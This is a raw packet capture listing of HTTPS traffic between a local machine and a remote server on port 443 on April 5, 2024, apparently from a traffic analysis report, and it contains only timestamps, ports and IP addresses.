Apr 5, 2024 20:10:28.801194906 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.801234007 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.801253080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.844918013 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.863404989 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.863468885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.863509893 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.863528013 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.863666058 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.863703966 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.863709927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864082098 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864130974 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.864135027 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864242077 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864286900 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.864290953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864382982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864418030 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.864424944 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864515066 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864553928 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.864558935 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864604950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864641905 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.864646912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864932060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864969015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.864984989 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.864989042 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.865031958 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.865061045 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.865206003 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.865248919 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.865252018 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.865298986 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.865338087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.865345001 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.865355015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.865392923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.865396023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.865487099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.865521908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.865525007 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.865530968 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.865570068 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.865597963 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.865971088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.866008997 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.866014004 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.866077900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.866120100 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.866126060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.866255999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.866298914 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.866305113 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.866707087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.866756916 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.866761923 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.866873980 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.866904020 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.866911888 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.866916895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.866962910 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.867023945 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.867108107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.867153883 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.867158890 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.867273092 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.867316008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.867321014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.867568016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.867613077 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.867618084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.867676020 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.867717981 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.867723942 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.867878914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.867919922 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.867925882 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.868148088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.868186951 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.868192911 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.868308067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.868341923 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.868350983 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.868381977 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.868419886 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.868424892 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.868496895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.868537903 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.868544102 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.868643999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.868690968 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.868695974 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.868844986 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.868887901 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.868899107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.869009018 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.869055986 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.869066954 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.907006979 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.907044888 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.907061100 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.907088041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.907130003 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.907138109 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.907208920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.907241106 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.907247066 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.907253027 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.907289982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.952944994 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.953022003 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.953056097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.953066111 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.953088999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.953121901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.953138113 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.953142881 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.953181982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.953186035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.998356104 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.998377085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.017018080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.017026901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.017059088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.017076969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.017085075 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.017090082 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.017100096 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.017117977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.017142057 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.019613028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.019633055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.019664049 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.019669056 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.019718885 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.020600080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.020617008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.020685911 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.020690918 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.022136927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.022145987 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.022188902 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.022193909 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.022219896 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.022232056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.022238016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.022257090 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.022279024 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.023417950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.023435116 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.023469925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.023473978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.023505926 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.023523092 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.024674892 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.024698019 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.024725914 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.024730921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.024792910 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.025587082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.025600910 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.025635958 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.025640965 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.025664091 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.025691986 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.026845932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.026860952 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.026900053 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.026904106 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.026931047 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.026946068 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.026953936 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.026957035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.026990891 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.027985096 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.027992964 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.028017044 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.028022051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.028057098 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.028851032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.028865099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.028904915 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.028908014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.028934002 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.032454967 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.059485912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.059501886 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.059561968 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.059580088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.100558043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.100580931 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.100615978 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.100642920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.100667000 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.105338097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.105473042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.105484009 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.105541945 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.106106997 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.106122971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.106168032 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.106174946 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.106203079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.106226921 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.168879986 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.168898106 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.168981075 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.169003963 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.169066906 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.170192003 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.170208931 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.170259953 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.170274973 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.170317888 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.170337915 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.171602011 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.171621084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.171675920 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.171680927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.171737909 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.171782970 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.171834946 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.172990084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.173007965 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.173077106 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.173082113 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.173677921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.173696995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.173733950 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.173738956 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.173796892 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.175261974 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.175276041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.175326109 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.175331116 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.175369024 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.176214933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.176238060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.176281929 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.176290035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.176317930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.176486969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.176537991 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.176542997 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.176594973 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.177436113 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.177450895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.177501917 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.177515984 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.177555084 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.177568913 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.179317951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.179337978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.179388046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.179399014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.179424047 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.179450035 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.180358887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.180377960 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.180429935 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.180442095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.180491924 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.181744099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.181761026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.181826115 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.181833982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.181888103 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.182063103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.182112932 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.183509111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.183525085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.183558941 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.183573008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.183602095 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.184571028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.184590101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.184619904 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.184632063 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.184669018 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.185539007 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.185553074 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.185620070 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.185633898 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.186806917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.186824083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.186862946 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.186880112 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.186897993 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.186912060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.186954975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.186964035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.187006950 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.188087940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.188103914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.188152075 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.188168049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.188224077 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.189483881 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.189498901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.189547062 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.189558983 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.189605951 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.190582037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.190597057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.190648079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.190660954 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.190705061 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.191665888 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.191682100 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.191735983 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.191740990 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.191786051 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.191884995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.191931009 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.193090916 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.193106890 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.193166971 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.193171978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.193947077 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.193964958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.194000959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.194005966 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.194029093 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.212024927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.212042093 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.212083101 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.212090015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.212125063 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.212745905 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.212790966 CEST	443	49727	140.82.114.10	192.168.2.6
